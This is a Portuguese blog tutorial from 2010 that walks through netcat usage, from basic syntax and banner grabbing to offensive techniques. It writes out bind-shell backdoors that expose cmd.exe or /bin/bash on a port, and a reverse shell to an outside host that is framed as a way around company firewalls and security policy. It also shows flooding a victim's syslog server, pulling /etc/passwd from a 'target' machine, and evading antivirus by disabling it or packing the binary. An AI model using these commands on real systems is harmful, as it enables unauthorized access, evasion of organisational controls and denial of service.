quinta-feira, 11 de novembro de 2010

NetCat o canivete suíço

O NetCat é uma ferramenta que serve para ler e escrever dados através de uma conexão de rede usando o protocolo TCP ou enviando/recebendo dados usando o protocolo UDP. Esta ferramenta é indispensável, considerada o canivete suíço dos hackers, com uma infinidade de possibilidades na sua utilização. Todos os antivírus detectam a presença do netcat como uma ameaça, porque o mesmo pode ser utilizado para fins maliciosos. Se você for realizar seus testes em uma máquina Windows você tem 3 saídas: desabilite o antivírus, coloque o netcat na whitelist do seu antivírus ou “limpe” o netcat com o Petite.

Este post vai ser bem direto, sem rodeios e mostrar na prática como você pode utilizar o netcat. Como foi dito antes o netcat é muito poderoso não se limite apenas naquilo que irei mostrar aqui.


Linha de Comando
    
A linha de comando básico para conexão em outro host:

#nc [opção] host porta

Onde o host pode ser o nome ou IP da maquina e porta é a porta de comunicação onde pode ser uma simples porta, uma “range” (22-80) ou portas individuais separadas por espaço (22 23 80).

Linha de comando para receber conexões:

#nc -l -p port

Onde a opção –l habilita o modo de ESCUTA e –p especifica a porta.

Pense no nc (netcat) como uma ferramenta que tem o poder de criar uma conexão cliente/servidor. Você pode usar o nc para conectar em outros serviços ou usar em uma ponta o nc como servidor e na outra como cliente.

Faça o download do NetCat no link abaixo:


Agora só é descompactar o arquivo, dentro da pasta descompactada você ira encontrar um executável do netcat e o código fonte caso você queira compilar.

Se você utiliza Linux tenha certeza que já tem o pacote no repositório da sua distribuição.

Se você executar o nc sem parâmetro ele entra em modo interativo:

#nc
Cmd line:

Na maioria dos casos você não utiliza o modo interativo, por este motivo não irei abordar este modo.

Para ver as opções do nc execute o comando abaixo:

#nc -h
[v1.10-38]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
        -c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]
        -e filename             program to exec after connect [dangerous!!]
        -b                      allow broadcasts
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, ...
        -h                      this cruft
        -i secs                 delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
        -l                      listen mode, for inbound connects
        -n                      numeric-only IP addresses, no DNS
        -o file                 hex dump of traffic
        -p port                 local port number
        -r                      randomize local and remote ports
        -q secs                 quit after EOF on stdin and delay of secs
        -s addr                 local source address
        -T tos                  set Type Of Service
        -t                      answer TELNET negotiation
        -u                      UDP mode
        -v                      verbose [use twice to be more verbose]
        -w secs                 timeout for connects and final net reads
        -z                      zero-I/O mode [used for scanning]


Entendendo Algumas Opções

     -d = essa opção não funciona no Windows, coloca o nc em modo invisível, como se fosse um “daemon”

     -e = assim que a conexão é estabelecida o é executado, muito usado para criar “backdoor”

     -g = especifica os pulos que o pacote ira percorrer para chegar até o destino, ótimo para passar por firewall e esconder a sua rede

     -G = você escolhe o próximo pulo da sua lista-rotas

     -l = modo de escuta, deve ser usado junto com -p para especificar em que porta escutar

     -L = modo de escuta (listen), não funciona no Windows, a diferença é que se uma conexão for fechada o -L força o nc a entrar no modo de escuta de novo

Prática


1) O comando abaixo permite escutar (-L) na porta (-p) 4455 onde um programa vai ser executado (-e) assim que a conexão for estabelecida. Este comando se executa na máquina que você quer se conectar a ela.

A linha de comando abaixo tem que ser executada em uma máquina Windows e assim que a conexão for estabelecida a shell cmd.exe será executada, pense neste cenário como uma conexão remota.

C:\>nc -L -d -p 4455 -e cmd.exe 

Obs: se você deseja se conectar em uma máquina Linux substitua o comando acima pelo comando: #nc –d –l –p 4455 –e /bin/bash

Agora da máquina remota é só executar o comando abaixo:

C:\>nc IP_DESTINO 4455

obs: do lado do cliente você pode esta em uma máquina rodando qualquer sistema operacional que suporte o nc.

A figura abaixo mostra este cenário:


2) Scaneando

A opção -z diz para o nc mandar uma quantidade mínima de dados, o suficiente para analisar a atividade da porta, neste caso as portas 20 e 80.

C:\>nc -v -z www.google.com 20 80

Veja abaixo a saída do comando acima:



obs: o nc não é uma ferramenta própria para fazer scan, para isso use o Nmap.

         
3) Descobrindo a versão do serviço

O nc não é ideal para você realizar scan, isso já sabemos, mas não se esqueça que ele é um canivete suíço.

Com o comando abaixo vamos conectar na porta 80 do www.google.com e enviar alguns comandos que o protocolo HTTP entenda:


C:\>nc www.google.com 80
GET / HTTP

Veja a figura abaixo:



Com o comando acima conseguimos conversar um pouco de HTTP com o servidor WEB e como resposta temos a versão do servidor (Server: GFE/2.0).

Veja abaixo como automatizar esta tarefa:

C:\>echo QUIT | nc www.google.com 80


Você também poderá especificar duas portas:

C:\>echo QUIT | nc www.google.com 80 22

Obs: nem todo serviço entende o comando QUIT, por isso em alguns serviços esta linha de comando não vai retornar nada.

Com o comando abaixo vamos automatizar nossa tarefa e pegar só o que nos interessa:

#echo -e "GET / HTTP 1.0\r\n" | nc www.google.com 80 | egrep '^Server:'

Veja a figura:


Obs: este comando foi adaptado para rodar no Linux

    
4) Mensagens no Log

Se você conhece algum servidor de log que fique escutando na porta 514 é só encher os logs de mensagem, se o serviço estiver mal configurado ou se a máquina tiver um HD com capacidade de armazenamento baixa, hoje em dia isso não acontece, isso poderá travar o sistema de log ou impossibilitar o registro de novos logs porque o HD estará cheio. Abaixo segue os dois comandos que iremos usar:

     yes "Mensagem aqui" | nc -u VitimaIP 514
     echo "Mensagem aqui" | nc -u VitimaIP 514

obs: a diferença do “yes” para o “echo” é que o yes vai continuar executando o comando até que alguém execute o famoso control+c.

Toda máquina Linux já vem com um sistema de log instalado, no meu caso estou usando o Ubuntu e ele veio com o syslogd já instalado e configurado. Por padrão ele registra os eventos locais da máquina e não aceita registros de máquinas remotas. Para fazer com que ele aceite conexão remota siga os passos abaixo:

#vim /etc/default/syslogd

Modifique a linha:
SYSLOGD=""
Para:
SYSLOGD="-r"

Salve, feche o arquivo e “reinicie” o serviço com o comando abaixo:

#/etc/init.d/sysklogd restart

Execute o comando abaixo e veja que o serviço syslogd esta escutando na porta 514:


Agora podemos começar nossos testes. Com o comando abaixo vamos deixar uma mensagem no servidor de log:

C:\Users\Zoi\Desktop\nc>echo "NOSSO PRIMEIRO TESTE REMOTO COM O SERVIDOR DE LOG" | nc -u 10.1.4.249 514

Veja na figura abaixo que apareceu o nome netbios da máquina que disparou o ataque (osvaldo-pc.local) e que a mensagem foi registrada:


Vamos enviar várias mensagens sem parar para o servidor de log, primeiro vamos ver o tamanho do arquivo syslogd, veja a figura abaixo:


O tamanho do arquivo é 6,8 MB. Vamos ver que tamanho ele ficara depois de enviar nossa mensagem, veja a figura abaixo:



Executando o comando da segunda janela por 1 min o arquivo de log passou de 6,8 MB para 43 MB. Imagina se você trocar a mensagem “VAMOS ENCHER ESSE LOG” por “VAMOS ENCHER ESSE LOG VAMOS ENCHER ESSE LOG VAMOS ENCHER ESSE LOG VAMOS ENCHER ESSE LOG VAMOS ENCHER ESSE LOG”, já imaginou?

Obs: o comando “yes” só vai funcionar em ambientes Linux.


5) Criando um Datapipe
    
Imagine que você queira copiar um arquivo de uma máquina para outra, temos a máquina ALVO onde esta o arquivo que queremos copiar (/etc/passwd) e temos a máquina para onde queremos copiar o arquivo.

Na máquina ALVO execute o comando abaixo:

#nc -l -u -p 55555 < /etc/passwd (maquina ALVO - linux)
C:\>nc -u ALVO_IP 55555 > saida_do_arquivo.txt (maquina para onde vou copiar o arquivo - Windows)

Veja a figura abaixo:


6) Pegando a saída de um programa

Imagine que você criou um script que tem como finalidade executar os comando w e netstat, porém você não quer ter que acessar a máquina só para executar seu script. Com o nc você pode direcionar a saída do seu script para uma máquina remota. Com a opção –e apontamos para o script que criamos. Vamos criar um arquivo com o nome script.sh:

#vim script.sh
#!/bin/bash
echo "saida do comando: w -l"
w -l
echo
echo
echo
echo "saida do comando: netstat -ant"
netstat –ant

Salve, feche o arquivo e mude as permissões do arquivo:

#chmod +x script.sh


Na máquina (linux) onde esta o script execute o comando abaixo:

#nc -l -u -p 55555 -e script.sh

Para você ver a saída do script execute o comando abaixo da máquina remota (Windows):

C:\nc>nc -u 10.1.4.249 55555 > script_saida.txt

Veja a figura abaixo:


Também é possível fazer o reverso, observe os comandos abaixo para isso:

Execute este comando na máquina para onde a saída do script vai ser copiada
C:\nc>nc –l -u –p 55555 > script_saida.txt

Este comando deverá ser executado onde esta o seu script
#nc –u –e script.sh IP_MAQUINA_SAIDA_SCRIPT 55555

7) Conexão TCP Reversa

Imagine que você esta em casa e precisa acessar o seu computador que esta na rede interna da empresa. As empresas podem permitir isso disponibilizando acesso VPN e criando NAT. O problema de tudo isso é a burocracia e dependendo da política de segurança da empresa você não seja liberado para fazer isso. Vamos ver o que podemos fazer com o nc neste caso.

O cenário é este:

SUA MAQUINA NA EMPRESA <--------> FIREWALL EMPRESA <--------> MAQUINA VELOZ  

SUA MAQUINA NA EMPRESA: sua máquina de trabalho na empresa
FIREWALL EMPRESA: firewall da empresa
MAQUINA VELOZ: sua conexão de casa com a Internet  


Você não pode da sua casa tentar se conectar no seu computador dentro da empresa se não houver NAT ou VPN. Neste caso temos que fazer uma conexão reversa, nossa MAQUINA VELOZ vai ESCUTAR na porta 80 e o controle de I/O da Shell /etc/bash será enviado através desta conexão assim que a máquina de dentro da empresa se conectar nesta porta.


Execute este comando na MAQUINA VELOZ:

C:\Users\Zoi\Desktop\nc>nc -l -p 55555

Antes de você sair do seu trabalho execute o comando:

#nc -e /bin/bash IP_MAQUINA_VELOZ 55555

Veja a figura abaixo:



Obs: se o firewall da sua empresa permite apenas acesso a serviços WEB, porta 80, execute os comandos mudando de porta 55555 para 80.

Essa dica abaixo peguei da Internet, ctrl+c + ctrl+v.

8) Executando comandos pelo NetCat

server.sh (run by you) ----> vai fazer um loop para deixar o serviço sempre ativo
#!/bin/bash
while true; do
   netcat -l -p 55555 -e protocol.sh
done
exit 0
Mude as permissões do arquivo server.sh (chmod +x Server.sh) e execute o script:
#./server.sh

protocol.sh (run by netcat line in server.sh) -----> implementação dos comandos que o server.sh vai reconhecer e executar
#!/bin/bash
read command
case "$command" in
"WOL")
   echo "doing WOL"
;;
*)
   #do nothing
;;
esac
Mude as permissões com o comando chmod, mas não precisa executá-lo.

Toda vez que você se conectar neste IP pela porta 55555, a I/O do script protocol.sh passara pelo netcat. Atualmente somente um comando esta implementado (WOL) que retornará como saída “doing WOL” .

Para testar vamos nos conectar usando o comando abaixo:

C:\Users\Zoi\Desktop\nc>nc 10.1.4.249 55555

Depois de conectado só é preciso executar os comando que o resultado será mostrado na janela, como mostra a figura abaixo:


Se na máquina cliente você estiver usando o Linux é só executar o comando abaixo:

#echo "WOL" |netcat 10.1.4.249 55555

O NetCat é uma ferramenta muito poderosa, o que foi mostrado aqui é apenas uma introdução do que pode ser feito com o netcat. Vários exploits e injection tem sido usado com o netcat. Para maiores informações para compilação e uso da ferramenta veja os arquivos hobbit.txt e readme.txt que vieram junto com o netcat. Se você estiver interessado em criar conexões seguras com o netcat procure pelo CRYPTCAT, que é uma versão do netcat que utiliza conexões encriptadas. 


By Osvaldo H Peixoto


Nenhum comentário:

Postar um comentário